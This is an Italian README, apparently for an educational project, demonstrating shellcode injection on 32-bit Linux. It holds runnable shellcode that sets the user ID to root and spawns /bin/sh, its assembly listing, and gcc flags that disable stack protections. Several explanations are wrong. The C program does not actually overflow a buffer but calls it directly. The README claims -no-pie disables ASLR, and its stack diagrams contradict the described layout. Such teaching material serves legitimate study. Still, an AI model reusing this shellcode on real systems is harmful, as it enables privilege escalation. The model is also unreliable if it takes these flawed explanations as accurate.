Giter Club home page Giter Club logo

bufferoverflow's Introduction

Shellcode Injection Project

Descrizione del Progetto

Questo progetto dimostra una tecnica di exploit nota come Shellcode Injection. L'obiettivo è eseguire del codice arbitrario (shellcode) sfruttando una vulnerabilità di buffer overflow in un programma C.

File del Progetto

  • vuln.c: Il programma vulnerabile scritto in C.
  • build.sh: Script di compilazione per costruire l'eseguibile vulnerabile vuln.

Panoramica del Codice

vuln.c

Il file vuln.c contiene un semplice programma C che è vulnerabile a un buffer overflow. Il programma include uno shellcode che lancia una shell /bin/sh con privilegi di root.

#include <stdio.h>
#include <string.h>

unsigned char shellcode[] = \
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";

int main() {
    printf("Shellcode Length:  %lu\n", strlen(shellcode));

    char buffer[68];
    memset(buffer, '\x90', sizeof(buffer));

    memcpy(buffer, shellcode, strlen(shellcode));

    unsigned int ret_addr = 0xffffcf20; 
    *((unsigned int*)(buffer + 64)) = ret_addr;

    int (*ret)() = (int(*)())buffer;
    ret();

    return 0;
}

Il programma vuln.c definisce un buffer di 68 byte e copia il nostro shellcode all'interno di esso. Dopo aver riempito il buffer con il nostro shellcode, l'indirizzo di ritorno viene sovrascritto con un indirizzo specifico (in questo caso, 0xffffcf20). Poi, il programma esegue il contenuto del buffer come se fosse una funzione.

  • unsigned char shellcode[]: Questa variabile contiene lo shellcode che esegue /bin/sh.

  • char buffer[68]: Definisce un buffer di 68 byte.

  • memset(buffer, '\x90', sizeof(buffer)): Riempie il buffer con istruzioni NOP (No Operation). Questo serve a creare un'area di sicurezza nel caso in cui l'indirizzo di ritorno non sia esattamente corretto.

  • memcpy(buffer, shellcode, strlen(shellcode)): Copia lo shellcode all'inizio del buffer.

  • unsigned int ret_addr = 0xffffcf20: Definisce l'indirizzo di ritorno che sovrascriverà l'indirizzo di ritorno originale sullo stack. Questo indirizzo dovrebbe puntare a una posizione all'interno del buffer contenente il nostro shellcode.

  • *((unsigned int*)(buffer + 64)) = ret_addr: Sovrascrive l'indirizzo di ritorno con ret_addr.

  • int (*ret)() = (int(*)())buffer; ret();: Definisce un puntatore a funzione che punta all'inizio del buffer ed esegue il codice in esso contenuto.

build.sh

Il file build.sh è uno script di shell per compilare il programma vulnerabile. Utilizza gcc con specifiche opzioni per disabilitare le protezioni di sicurezza come il canary stack e l'ASLR (Address Space Layout Randomization).

gcc -z execstack -fno-stack-protector -m32 -no-pie -o vuln vuln.c

Opzioni di compilazione

  • -z execstack: Permette l'esecuzione dello stack. Di default, lo stack non è eseguibile per prevenire attacchi come buffer overflow, quindi questa opzione è necessaria per eseguire il nostro shellcode dallo stack.

  • -fno-stack-protector: Disabilita il canary stack, una protezione che previene buffer overflow rilevando la corruzione del stack.

  • -m32: Compila il programma come un binario a 32 bit.

  • -no-pie: Disabilita l'Address Space Layout Randomization (ASLR), una tecnica di sicurezza che randomizza le posizioni di memoria delle regioni chiave del processo (come stack, heap, librerie, ecc.). Disabilitando ASLR, possiamo prevedere l'indirizzo di ritorno per il nostro exploit.

  • -o vuln: Specifica il nome del file di output generato dalla compilazione (in questo caso, vuln).

Shellcode

Lo shellcode è una sequenza di istruzioni in linguaggio macchina che esegue una specifica funzione. In questo caso, il nostro shellcode esegue una shell /bin/sh. Di seguito è riportato il codice assembly corrispondente al nostro shellcode:

section .text
    global _start

_start:
    xor eax, eax            ; azzera eax
    xor ebx, ebx            ; azzera ebx
    mov al, 0x17            ; setta eax a 0x17 (syscall per setuid)
    int 0x80                ; invoca la syscall

    jmp short call_shell    ; salta alla sezione call_shell

code_start:
    pop esi                 ; pop della stringa "/bin/sh" in esi
    mov [esi+0x8], esi      ; copia l'indirizzo della stringa in [esi+8]
    xor eax, eax            ; azzera eax
    mov byte [esi+7], al    ; setta il byte nullo alla fine della stringa
    mov [esi+0xc], eax      ; setta [esi+0xc] a 0
    mov al, 0xb             ; setta eax a 0xb (syscall per execve)
    mov ebx, esi            ; copia l'indirizzo della stringa in ebx
    lea ecx, [esi+0x8]      ; carica l'indirizzo dell'array di argomenti in ecx
    lea edx, [esi+0xc]      ; carica l'indirizzo dell'array di environment variables in edx
    int 0x80                ; invoca la syscall

    xor ebx, ebx            ; azzera ebx
    mov eax, ebx            ; copia ebx in eax
    inc eax                 ; incrementa eax (setta eax a 1)
    int 0x80                ; invoca la syscall per exit

call_shell:
    call code_start         ; chiama code_start
    .ascii "/bin/sh"        ; stringa "/bin/sh"

Questo shellcode segue questi passaggi:

  1. Setta i registri eax e ebx a zero.
  2. Invoca la syscall setuid per settare l'UID effettivo a 0 (root).
  3. Salta a call_shell per posizionare l'indirizzo della stringa /bin/sh sullo stack.
  4. Copia la stringa /bin/sh in esi.
  5. Prepara gli argomenti per la syscall execve.
  6. Invoca execve per eseguire /bin/sh.
  7. Se execve fallisce, invoca exit.

Cenni Teorici

Un buffer overflow si verifica quando più dati di quanti un buffer possa gestire vengono scritti in esso, sovrascrivendo la memoria adiacente. Questo pu`o portare a comportamenti imprevisti e potenzialmente sfruttabili. Quando un programma chiama una funzione, lo stack di chiamata viene utilizzato per memorizzare vari- abili locali, indirizzi di ritorno e altri dati. Durante un attacco di buffer overflow, un attaccante cerca di sovrascrivere l’indirizzo di ritorno per eseguire codice arbitrario. Vediamo come funziona questo attacco con una rappresentazione dello stack:

Prima dell'attacco

Indirizzi di memoria (alto -> basso):
0xffffcf30:   [ Indirizzo di ritorno originale ]
0xffffcf2c:   [ Frame Pointer (EBP) del chiamante ]
0xffffcf28:   [ Variabili locali e spazio temporaneo ]
0xffffcf24:   ...
0xffffcf20:   ...
0xffffcf1c:   ...
0xffffcf18:   ...
0xffffcf14:   ...
0xffffcf10:   ...
0xffffcf0c:   ...
0xffffcf08:   ...
0xffffcf04:   ...
0xffffcf00:   ...

Dopo l'attacco

Indirizzi di memoria (alto -> basso):
0xffffcf30:   0xffffcf20        <- Indirizzo di ritorno sovrascritto
0xffffcf2c:   [ Frame Pointer (EBP) del chiamante ]
0xffffcf28:   0x90              <- NOP sled
0xffffcf24:   0x90              <- NOP sled
0xffffcf20:   0x90              <- NOP sled
0xffffcf1c:   ...
0xffffcf18:   ...
0xffffcf14:   ...
0xffffcf10:   [ shellcode ]
0xffffcf0c:   [ shellcode ]
0xffffcf08:   [ shellcode ]
0xffffcf04:   [ shellcode ]
0xffffcf00:   ...

Dettaglio del buffer

Il buffer di 68 byte conterrà:

  • I primi 64 byte sono NOP (\x90) e il codice shell.
  • Gli ultimi 4 byte sono l'indirizzo di ritorno sovrascritto (0xffffcf20). Più in dettaglio, la memoria sarà riempita come segue:
Indirizzi di memoria (alto -> basso):
0xffffcf44:   [ Dati aggiuntivi / Non utilizzati ]
0xffffcf40:   0xffffcf20        <- Indirizzo di ritorno sovrascritto
0xffffcf3c:   0x90              <- NOP sled
0xffffcf38:   0x90              <- NOP sled
0xffffcf34:   0x90              <- NOP sled
0xffffcf30:   0x90              <- NOP sled
0xffffcf2c:   0x90              <- NOP sled
0xffffcf28:   0x90              <- NOP sled
0xffffcf24:   0x90              <- NOP sled
0xffffcf20:   0x90              <- NOP sled
0xffffcf1c:   0x31              <- shellcode (start)
0xffffcf18:   0xc0              <- shellcode
0xffffcf14:   0x31              <- shellcode
0xffffcf10:   0xdb              <- shellcode
0xffffcf0c:   0xb0              <- shellcode
0xffffcf08:   0x17              <- shellcode
0xffffcf04:   0xcd              <- shellcode
0xffffcf00:   0x80              <- shellcode
...

Quando il programma sovrascrive l'indirizzo di ritorno, esso punta all'inizio del buffer, il quale contiene NOP sled seguito dal codice shell. Questo permette al programma di eseguire il codice shell iniettato, sfruttando il buffer overflow per eseguire l'attacco.

Esecuzione del progetto

Per eseguire il progetto, seguire i passaggi seguenti:

  1. Assicurati di avere installato GCC con il supporto per la compilazione a 32 bit. Su un sistema Debian/Ubuntu, puoi installare i pacchetti necessari con:
sudo apt-get install gcc-multilib g++-multilib
  1. Compila il programma eseguendo lo script build.sh:
./build.sh
  1. Esegui il programma compilato:
./vuln

Nota di sicurezza

Questo progetto è puramente educativo e dimostra tecniche di exploit che non dovrebbero essere utilizzate in ambienti di produzione. Utilizzare queste tecniche in modo responsabile e solo in ambienti controllati per fini di studio e ricerca.

Autore

Progetto sviluppato da Federico Fiorelli.

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.